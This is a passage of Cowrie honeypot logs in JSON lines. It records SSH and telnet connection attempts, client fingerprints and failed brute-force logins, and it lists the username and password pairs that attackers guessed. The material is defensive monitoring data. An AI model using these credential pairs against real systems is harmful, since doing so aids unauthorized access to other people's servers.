{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43140,"dst_ip":"159.203.135.109","dst_port":22,"session":"49be89bca5ce","protocol":"ssh","message":"New connection: 192.109.200.78:43140 (159.203.135.109:22) [session: 49be89bca5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:26.059386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:26.188542Z","src_ip":"192.109.200.78","session":"49be89bca5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:26.192815Z","src_ip":"192.109.200.78","session":"49be89bca5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:26.262053Z","src_ip":"176.65.139.95","session":"71fa691bea80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:26.641993Z","src_ip":"192.109.200.78","session":"49be89bca5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:27.348585Z","src_ip":"176.65.139.95","session":"71fa691bea80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:27.727142Z","src_ip":"192.109.200.78","session":"49be89bca5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36230,"dst_ip":"159.203.135.109","dst_port":22,"session":"5272da533ab8","protocol":"ssh","message":"New connection: 159.203.92.129:36230 (159.203.135.109:22) [session: 5272da533ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:29.344486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:29.348234Z","src_ip":"159.203.92.129","session":"5272da533ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:29.352219Z","src_ip":"159.203.92.129","session":"5272da533ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Log","password":"123","message":"login attempt [Log/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:29.366428Z","src_ip":"159.203.92.129","session":"5272da533ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.2","src_port":53550,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f82f20027b0","protocol":"ssh","message":"New connection: 64.62.197.2:53550 (10.17.0.5:22) [session: 1f82f20027b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.225179Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.230275Z","src_ip":"64.62.197.2","session":"1f82f20027b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.234138Z","src_ip":"64.62.197.2","session":"1f82f20027b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee4bce751f78","protocol":"ssh","message":"New connection: 192.109.200.78:46864 (159.203.135.109:22) [session: ee4bce751f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.266516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.271337Z","src_ip":"192.109.200.78","session":"ee4bce751f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.355001Z","src_ip":"192.109.200.78","session":"ee4bce751f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.406107Z","src_ip":"159.203.92.129","session":"5272da533ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:30.603367Z","src_ip":"192.109.200.78","session":"ee4bce751f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56006,"dst_ip":"159.203.135.109","dst_port":22,"session":"efaf89d5b6b5","protocol":"ssh","message":"New connection: 176.65.139.95:56006 (159.203.135.109:22) [session: efaf89d5b6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:31.759697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:31.764654Z","src_ip":"176.65.139.95","session":"efaf89d5b6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:31.800960Z","src_ip":"192.109.200.78","session":"ee4bce751f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:32.054065Z","src_ip":"176.65.139.95","session":"efaf89d5b6b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:32.460471Z","src_ip":"176.65.139.95","session":"efaf89d5b6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:33.568987Z","src_ip":"176.65.139.95","session":"efaf89d5b6b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46874,"dst_ip":"159.203.135.109","dst_port":22,"session":"d75a02010023","protocol":"ssh","message":"New connection: 192.109.200.78:46874 (159.203.135.109:22) [session: d75a02010023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:34.643737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:34.649860Z","src_ip":"192.109.200.78","session":"d75a02010023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:34.733893Z","src_ip":"192.109.200.78","session":"d75a02010023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:34.980866Z","src_ip":"192.109.200.78","session":"d75a02010023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.126.105.76","src_port":33560,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd9d959a119d","protocol":"telnet","message":"New connection: 1.126.105.76:33560 (159.203.135.109:23) [session: dd9d959a119d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:35.753866Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:36.067272Z","src_ip":"192.109.200.78","session":"d75a02010023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.810030698776245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:36.884616Z","src_ip":"217.70.188.116","session":"0d0eebf872b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56018,"dst_ip":"159.203.135.109","dst_port":22,"session":"55912ef3eb93","protocol":"ssh","message":"New connection: 176.65.139.95:56018 (159.203.135.109:22) [session: 55912ef3eb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.151727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.157037Z","src_ip":"176.65.139.95","session":"55912ef3eb93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.255782Z","src_ip":"176.65.139.95","session":"55912ef3eb93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.576604Z","src_ip":"176.65.139.95","session":"55912ef3eb93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43782,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c7430b844e","protocol":"ssh","message":"New connection: 192.109.200.78:43782 (159.203.135.109:22) [session: 58c7430b844e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.600040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.721158Z","src_ip":"192.109.200.78","session":"58c7430b844e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:38.725321Z","src_ip":"192.109.200.78","session":"58c7430b844e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:39.143038Z","src_ip":"192.109.200.78","session":"58c7430b844e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:39.661114Z","src_ip":"176.65.139.95","session":"55912ef3eb93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:40.227663Z","src_ip":"192.109.200.78","session":"58c7430b844e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6820125579834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:41.051517Z","src_ip":"62.113.202.175","session":"28f41d92e8b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43784,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aa9ebecfd55","protocol":"ssh","message":"New connection: 192.109.200.78:43784 (159.203.135.109:22) [session: 1aa9ebecfd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:42.881733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:42.885876Z","src_ip":"192.109.200.78","session":"1aa9ebecfd55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecds